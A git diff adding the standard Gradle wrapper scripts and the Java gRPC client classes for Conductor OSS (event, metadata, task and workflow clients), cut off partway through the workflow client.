+# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command; +# * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of +# shell script including quotes and variable substitutions, so put them in +# double quotes to make sure that they get re-expanded; and +# * put everything else in single quotes, so that it's not re-expanded. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/gradlew.bat b/gradlew.bat new file mode 100644 index 0000000..6689b85 --- /dev/null +++ b/gradlew.bat @@ -0,0 +1,92 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/grpc-client/README.md b/grpc-client/README.md new file mode 100644 index 0000000..4a27ab4 --- /dev/null +++ b/grpc-client/README.md @@ -0,0 +1,5 @@ +# gRPC client for Conductor OSS + +> **Note:** This module will be relocated to [conductor-clients/java/conductor-java-sdk/sdk](conductor-clients/java/conductor-java-sdk/). +> +> Expected completion date: 2024-10-15. diff --git a/grpc-client/build.gradle b/grpc-client/build.gradle new file mode 100644 index 0000000..080417f --- /dev/null +++ b/grpc-client/build.gradle @@ -0,0 +1,29 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ + +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-grpc') + + implementation "io.grpc:grpc-netty:${revGrpc}" + implementation "io.grpc:grpc-protobuf:${revGrpc}" + implementation "io.grpc:grpc-stub:${revGrpc}" + implementation "com.google.protobuf:protobuf-java:${revProtoBuf}" + implementation "org.slf4j:slf4j-api" + implementation "org.apache.commons:commons-lang3" + implementation "jakarta.annotation:jakarta.annotation-api:${revJakartaAnnotation}" + implementation "com.google.guava:guava:${revGuava}" + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + implementation "com.fasterxml.jackson.core:jackson-annotations" +} diff --git a/grpc-client/src/main/java/com/netflix/conductor/client/grpc/ClientBase.java b/grpc-client/src/main/java/com/netflix/conductor/client/grpc/ClientBase.java new file mode 100644 index 0000000..90b6112 --- /dev/null +++ b/grpc-client/src/main/java/com/netflix/conductor/client/grpc/ClientBase.java @@ -0,0 +1,60 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.client.grpc; + +import java.util.concurrent.TimeUnit; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.grpc.ProtoMapper; +import com.netflix.conductor.grpc.SearchPb; + +import io.grpc.ManagedChannel; +import io.grpc.ManagedChannelBuilder; +import jakarta.annotation.Nullable; + +abstract class ClientBase { + + private static final Logger LOGGER = LoggerFactory.getLogger(ClientBase.class); + protected static ProtoMapper protoMapper = ProtoMapper.INSTANCE; + + protected final ManagedChannel channel; + + public ClientBase(String address, int port) { + this(ManagedChannelBuilder.forAddress(address, port).usePlaintext()); + } + + public ClientBase(ManagedChannelBuilder builder) { + channel = builder.build(); + } + + public void shutdown() throws InterruptedException { + channel.shutdown().awaitTermination(5, TimeUnit.SECONDS); + } + + SearchPb.Request createSearchRequest( + @Nullable Integer start, + @Nullable Integer size, + @Nullable String sort, + @Nullable String freeText, + @Nullable String query) { + SearchPb.Request.Builder request = SearchPb.Request.newBuilder(); + if (start != null) request.setStart(start); + if (size != null) request.setSize(size); + if (sort != null) request.setSort(sort); + if (freeText != null) request.setFreeText(freeText); + if (query != null) request.setQuery(query); + return request.build(); + } +} diff --git a/grpc-client/src/main/java/com/netflix/conductor/client/grpc/EventClient.java b/grpc-client/src/main/java/com/netflix/conductor/client/grpc/EventClient.java new file mode 100644 index 0000000..5f11ba9 --- /dev/null +++ b/grpc-client/src/main/java/com/netflix/conductor/client/grpc/EventClient.java @@ -0,0 +1,94 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.client.grpc; + +import java.util.Iterator; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.grpc.EventServiceGrpc; +import com.netflix.conductor.grpc.EventServicePb; +import com.netflix.conductor.proto.EventHandlerPb; + +import com.google.common.base.Preconditions; +import com.google.common.collect.Iterators; +import io.grpc.ManagedChannelBuilder; + +public class EventClient extends ClientBase { + + private final EventServiceGrpc.EventServiceBlockingStub stub; + + public EventClient(String address, int port) { + super(address, port); + this.stub = EventServiceGrpc.newBlockingStub(this.channel); + } + + public EventClient(ManagedChannelBuilder builder) { + super(builder); + this.stub = EventServiceGrpc.newBlockingStub(this.channel); + } + + /** + * Register an event handler with the server + * + * @param eventHandler the event handler definition + */ + public void registerEventHandler(EventHandler eventHandler) { + Preconditions.checkNotNull(eventHandler, "Event handler definition cannot be null"); + stub.addEventHandler( + EventServicePb.AddEventHandlerRequest.newBuilder() + .setHandler(protoMapper.toProto(eventHandler)) + .build()); + } + + /** + * Updates an existing event handler + * + * @param eventHandler the event handler to be updated + */ + public void updateEventHandler(EventHandler eventHandler) { + Preconditions.checkNotNull(eventHandler, "Event handler definition cannot be null"); + stub.updateEventHandler( + EventServicePb.UpdateEventHandlerRequest.newBuilder() + .setHandler(protoMapper.toProto(eventHandler)) + .build()); + } + + /** + * @param event name of the event + * @param activeOnly if true, returns only the active handlers + * @return Returns the list of all the event handlers for a given event + */ + public Iterator getEventHandlers(String event, boolean activeOnly) { + Preconditions.checkArgument(StringUtils.isNotBlank(event), "Event cannot be blank"); + + EventServicePb.GetEventHandlersForEventRequest.Builder request = + EventServicePb.GetEventHandlersForEventRequest.newBuilder() + .setEvent(event) + .setActiveOnly(activeOnly); + Iterator it = stub.getEventHandlersForEvent(request.build()); + return Iterators.transform(it, protoMapper::fromProto); + } + + /** + * Removes the event handler from the conductor server + * + * @param name the name of the event handler + */ + public void unregisterEventHandler(String name) { + Preconditions.checkArgument(StringUtils.isNotBlank(name), "Name cannot be blank"); + stub.removeEventHandler( + EventServicePb.RemoveEventHandlerRequest.newBuilder().setName(name).build()); + } +} diff --git a/grpc-client/src/main/java/com/netflix/conductor/client/grpc/MetadataClient.java b/grpc-client/src/main/java/com/netflix/conductor/client/grpc/MetadataClient.java new file mode 100644 index 0000000..c316a13 --- /dev/null +++ b/grpc-client/src/main/java/com/netflix/conductor/client/grpc/MetadataClient.java @@ -0,0 +1,140 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.client.grpc; + +import java.util.List; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.grpc.MetadataServiceGrpc; +import com.netflix.conductor.grpc.MetadataServicePb; + +import com.google.common.base.Preconditions; +import io.grpc.ManagedChannelBuilder; +import jakarta.annotation.Nullable; + +public class MetadataClient extends ClientBase { + + private final MetadataServiceGrpc.MetadataServiceBlockingStub stub; + + public MetadataClient(String address, int port) { + super(address, port); + this.stub = MetadataServiceGrpc.newBlockingStub(this.channel); + } + + public MetadataClient(ManagedChannelBuilder builder) { + super(builder); + this.stub = MetadataServiceGrpc.newBlockingStub(this.channel); + } + + /** + * Register a workflow definition with the server + * + * @param workflowDef the workflow definition + */ + public void registerWorkflowDef(WorkflowDef workflowDef) { + Preconditions.checkNotNull(workflowDef, "Workflow definition cannot be null"); + stub.createWorkflow( + MetadataServicePb.CreateWorkflowRequest.newBuilder() + .setWorkflow(protoMapper.toProto(workflowDef)) + .build()); + } + + /** + * Updates a list of existing workflow definitions + * + * @param workflowDefs List of workflow definitions to be updated + */ + public void updateWorkflowDefs(List workflowDefs) { + Preconditions.checkNotNull(workflowDefs, "Workflow defs list cannot be null"); + stub.updateWorkflows( + MetadataServicePb.UpdateWorkflowsRequest.newBuilder() + .addAllDefs(workflowDefs.stream().map(protoMapper::toProto)::iterator) + .build()); + } + + /** + * Retrieve the workflow definition + * + * @param name the name of the workflow + * @param version the version of the workflow def + * @return Workflow definition for the given workflow and version + */ + public WorkflowDef getWorkflowDef(String name, @Nullable Integer version) { + Preconditions.checkArgument(StringUtils.isNotBlank(name), "name cannot be blank"); + + MetadataServicePb.GetWorkflowRequest.Builder request = + MetadataServicePb.GetWorkflowRequest.newBuilder().setName(name); + + if (version != null) { + request.setVersion(version); + } + + return protoMapper.fromProto(stub.getWorkflow(request.build()).getWorkflow()); + } + + /** + * Registers a list of task types with the conductor server + * + * @param taskDefs List of task types to be registered. + */ + public void registerTaskDefs(List taskDefs) { + Preconditions.checkNotNull(taskDefs, "Task defs list cannot be null"); + stub.createTasks( + MetadataServicePb.CreateTasksRequest.newBuilder() + .addAllDefs(taskDefs.stream().map(protoMapper::toProto)::iterator) + .build()); + } + + /** + * Updates an existing task definition + * + * @param taskDef the task definition to be updated + */ + public void updateTaskDef(TaskDef taskDef) { + Preconditions.checkNotNull(taskDef, "Task definition cannot be null"); + stub.updateTask( + MetadataServicePb.UpdateTaskRequest.newBuilder() + .setTask(protoMapper.toProto(taskDef)) + .build()); + } + + /** + * Retrieve the task definition of a given task type + * + * @param taskType type of task for which to retrieve the definition + * @return Task Definition for the given task type + */ + public TaskDef getTaskDef(String taskType) { + Preconditions.checkArgument(StringUtils.isNotBlank(taskType), "Task type cannot be blank"); + return protoMapper.fromProto( + stub.getTask( + MetadataServicePb.GetTaskRequest.newBuilder() + .setTaskType(taskType) + .build()) + .getTask()); + } + + /** + * Removes the task definition of a task type from the conductor server. Use with caution. + * + * @param taskType Task type to be unregistered. + */ + public void unregisterTaskDef(String taskType) { + Preconditions.checkArgument(StringUtils.isNotBlank(taskType), "Task type cannot be blank"); + stub.deleteTask( + MetadataServicePb.DeleteTaskRequest.newBuilder().setTaskType(taskType).build()); + } +} diff --git a/grpc-client/src/main/java/com/netflix/conductor/client/grpc/TaskClient.java b/grpc-client/src/main/java/com/netflix/conductor/client/grpc/TaskClient.java new file mode 100644 index 0000000..6004db5 --- /dev/null +++ b/grpc-client/src/main/java/com/netflix/conductor/client/grpc/TaskClient.java @@ -0,0 +1,225 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.client.grpc; + +import java.util.Iterator; +import java.util.List; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.grpc.SearchPb; +import com.netflix.conductor.grpc.TaskServiceGrpc; +import com.netflix.conductor.grpc.TaskServicePb; +import com.netflix.conductor.proto.TaskPb; + +import com.google.common.base.Preconditions; +import com.google.common.collect.Iterators; +import com.google.common.collect.Lists; +import io.grpc.ManagedChannelBuilder; +import jakarta.annotation.Nullable; + +public class TaskClient extends ClientBase { + + private final TaskServiceGrpc.TaskServiceBlockingStub stub; + + public TaskClient(String address, int port) { + super(address, port); + this.stub = TaskServiceGrpc.newBlockingStub(this.channel); + } + + public TaskClient(ManagedChannelBuilder builder) { + super(builder); + this.stub = TaskServiceGrpc.newBlockingStub(this.channel); + } + + /** + * Perform a poll for a task of a specific task type. + * + * @param taskType The taskType to poll for + * @param domain The domain of the task type + * @param workerId Name of the client worker. Used for logging. + * @return Task waiting to be executed. + */ + public Task pollTask(String taskType, String workerId, String domain) { + Preconditions.checkArgument(StringUtils.isNotBlank(taskType), "Task type cannot be blank"); + Preconditions.checkArgument(StringUtils.isNotBlank(domain), "Domain cannot be blank"); + Preconditions.checkArgument(StringUtils.isNotBlank(workerId), "Worker id cannot be blank"); + + TaskServicePb.PollResponse response = + stub.poll( + TaskServicePb.PollRequest.newBuilder() + .setTaskType(taskType) + .setWorkerId(workerId) + .setDomain(domain) + .build()); + return protoMapper.fromProto(response.getTask()); + } + + /** + * Perform a batch poll for tasks by task type. Batch size is configurable by count. + * + * @param taskType Type of task to poll for + * @param workerId Name of the client worker. Used for logging. + * @param count Maximum number of tasks to be returned. Actual number of tasks returned can be + * less than this number. + * @param timeoutInMillisecond Long poll wait timeout. + * @return List of tasks awaiting to be executed. + */ + public List batchPollTasksByTaskType( + String taskType, String workerId, int count, int timeoutInMillisecond) { + return Lists.newArrayList( + batchPollTasksByTaskTypeAsync(taskType, workerId, count, timeoutInMillisecond)); + } + + /** + * Perform a batch poll for tasks by task type. Batch size is configurable by count. Returns an + * iterator that streams tasks as they become available through GRPC. + * + * @param taskType Type of task to poll for + * @param workerId Name of the client worker. Used for logging. + * @param count Maximum number of tasks to be returned. Actual number of tasks returned can be + * less than this number. + * @param timeoutInMillisecond Long poll wait timeout. + * @return Iterator of tasks awaiting to be executed. + */ + public Iterator batchPollTasksByTaskTypeAsync( + String taskType, String workerId, int count, int timeoutInMillisecond) { + Preconditions.checkArgument(StringUtils.isNotBlank(taskType), "Task type cannot be blank"); + Preconditions.checkArgument(StringUtils.isNotBlank(workerId), "Worker id cannot be blank"); + Preconditions.checkArgument(count > 0, "Count must be greater than 0"); + + Iterator it = + stub.batchPoll( + TaskServicePb.BatchPollRequest.newBuilder() + .setTaskType(taskType) + .setWorkerId(workerId) + .setCount(count) + .setTimeout(timeoutInMillisecond) + .build()); + + return Iterators.transform(it, protoMapper::fromProto); + } + + /** + * Updates the result of a task execution. + * + * @param taskResult TaskResults to be updated. + */ + public void updateTask(TaskResult taskResult) { + Preconditions.checkNotNull(taskResult, "Task result cannot be null"); + stub.updateTask( + TaskServicePb.UpdateTaskRequest.newBuilder() + .setResult(protoMapper.toProto(taskResult)) + .build()); + } + + /** + * Log execution messages for a task. + * + * @param taskId id of the task + * @param logMessage the message to be logged + */ + public void logMessageForTask(String taskId, String logMessage) { + Preconditions.checkArgument(StringUtils.isNotBlank(taskId), "Task id cannot be blank"); + stub.addLog( + TaskServicePb.AddLogRequest.newBuilder() + .setTaskId(taskId) + .setLog(logMessage) + .build()); + } + + /** + * Fetch execution logs for a task. + * + * @param taskId id of the task. + */ + public List getTaskLogs(String taskId) { + Preconditions.checkArgument(StringUtils.isNotBlank(taskId), "Task id cannot be blank"); + return stub + .getTaskLogs( + TaskServicePb.GetTaskLogsRequest.newBuilder().setTaskId(taskId).build()) + .getLogsList() + .stream() + .map(protoMapper::fromProto) + .collect(Collectors.toList()); + } + + /** + * Retrieve information about the task + * + * @param taskId ID of the task + * @return Task details + */ + public Task getTaskDetails(String taskId) { + Preconditions.checkArgument(StringUtils.isNotBlank(taskId), "Task id cannot be blank"); + return protoMapper.fromProto( + stub.getTask(TaskServicePb.GetTaskRequest.newBuilder().setTaskId(taskId).build()) + .getTask()); + } + + public int getQueueSizeForTask(String taskType) { + Preconditions.checkArgument(StringUtils.isNotBlank(taskType), "Task type cannot be blank"); + + TaskServicePb.QueueSizesResponse sizes = + stub.getQueueSizesForTasks( + TaskServicePb.QueueSizesRequest.newBuilder() + .addTaskTypes(taskType) + .build()); + + return sizes.getQueueForTaskOrDefault(taskType, 0); + } + + public SearchResult search(String query) { + return search(null, null, null, null, query); + } + + public SearchResult searchV2(String query) { + return searchV2(null, null, null, null, query); + } + + public SearchResult search( + @Nullable Integer start, + @Nullable Integer size, + @Nullable String sort, + @Nullable String freeText, + @Nullable String query) { + SearchPb.Request searchRequest = createSearchRequest(start, size, sort, freeText, query); + TaskServicePb.TaskSummarySearchResult result = stub.search(searchRequest); + return new SearchResult<>( + result.getTotalHits(), + result.getResultsList().stream() + .map(protoMapper::fromProto) + .collect(Collectors.toList())); + } + + public SearchResult searchV2( + @Nullable Integer start, + @Nullable Integer size, + @Nullable String sort, + @Nullable String freeText, + @Nullable String query) { + SearchPb.Request searchRequest = createSearchRequest(start, size, sort, freeText, query); + TaskServicePb.TaskSearchResult result = stub.searchV2(searchRequest); + return new SearchResult<>( + result.getTotalHits(), + result.getResultsList().stream() + .map(protoMapper::fromProto) + .collect(Collectors.toList())); + } +} diff --git a/grpc-client/src/main/java/com/netflix/conductor/client/grpc/WorkflowClient.java b/grpc-client/src/main/java/com/netflix/conductor/client/grpc/WorkflowClient.java new file mode 100644 index 0000000..9c17c0b --- /dev/null +++ b/grpc-client/src/main/java/com/netflix/conductor/client/grpc/WorkflowClient.java @@ -0,0 +1,368 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.client.grpc; + +import java.util.Collections; +import java.util.List; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.grpc.SearchPb; +import com.netflix.conductor.grpc.WorkflowServiceGrpc; +import com.netflix.conductor.grpc.WorkflowServicePb; +import com.netflix.conductor.proto.WorkflowPb; + +import com.google.common.base.Preconditions; +import io.grpc.ManagedChannelBuilder; +import jakarta.annotation.Nullable; + +public class WorkflowClient extends ClientBase { + + private final WorkflowServiceGrpc.WorkflowServiceBlockingStub stub; + + public WorkflowClient(String address, int port) { + super(address, port); + this.stub = WorkflowServiceGrpc.newBlockingStub(this.channel); + } + + public WorkflowClient(ManagedChannelBuilder builder) { + super(builder); + this.stub = WorkflowServiceGrpc.newBlockingStub(this.channel); + } + + /** + * Starts a workflow + * + * @param startWorkflowRequest the {@link StartWorkflowRequest} object to start the workflow + * @return the id of the workflow instance that can be used for tracking + */ + public String startWorkflow(StartWorkflowRequest startWorkflowRequest) { + Preconditions.checkNotNull(startWorkflowRequest, "StartWorkflowRequest cannot be null"); + return stub.startWorkflow(protoMapper.toProto(startWorkflowRequest)).getWorkflowId(); + } + + /** + * Retrieve a workflow by workflow id + * + * @param workflowId the id of the workflow + * @param includeTasks specify if the tasks in the workflow need to be returned + * @return the requested workflow + */ + public Workflow getWorkflow(String workflowId, boolean includeTasks) { + Preconditions.checkArgument( + StringUtils.isNotBlank(workflowId), "workflow id cannot be blank"); + WorkflowPb.Workflow workflow = + stub.getWorkflowStatus( + WorkflowServicePb.GetWorkflowStatusRequest.newBuilder() + .setWorkflowId(workflowId) + .setIncludeTasks(includeTasks) + .build()); + return protoMapper.fromProto(workflow); + } + + /** + * Retrieve all workflows for a given correlation id and name + * + * @param name the name of the workflow + * @param correlationId the correlation id + * @param includeClosed specify if all workflows are to be returned or only running workflows + * @param includeTasks specify if the tasks in the workflow need to be returned + * @return list of workflows for the given correlation id and name + */ + public List getWorkflows( + String name, String correlationId, boolean includeClosed, boolean includeTasks) { + Preconditions.checkArgument(StringUtils.isNotBlank(name), "name cannot be blank"); + Preconditions.checkArgument( + StringUtils.isNotBlank(correlationId), "correlationId cannot be blank"); + + WorkflowServicePb.GetWorkflowsResponse workflows = + stub.getWorkflows( + WorkflowServicePb.GetWorkflowsRequest.newBuilder() + .setName(name) + .addCorrelationId(correlationId) + .setIncludeClosed(includeClosed) + .setIncludeTasks(includeTasks) + .build()); + + if (!workflows.containsWorkflowsById(correlationId)) { + return Collections.emptyList(); + 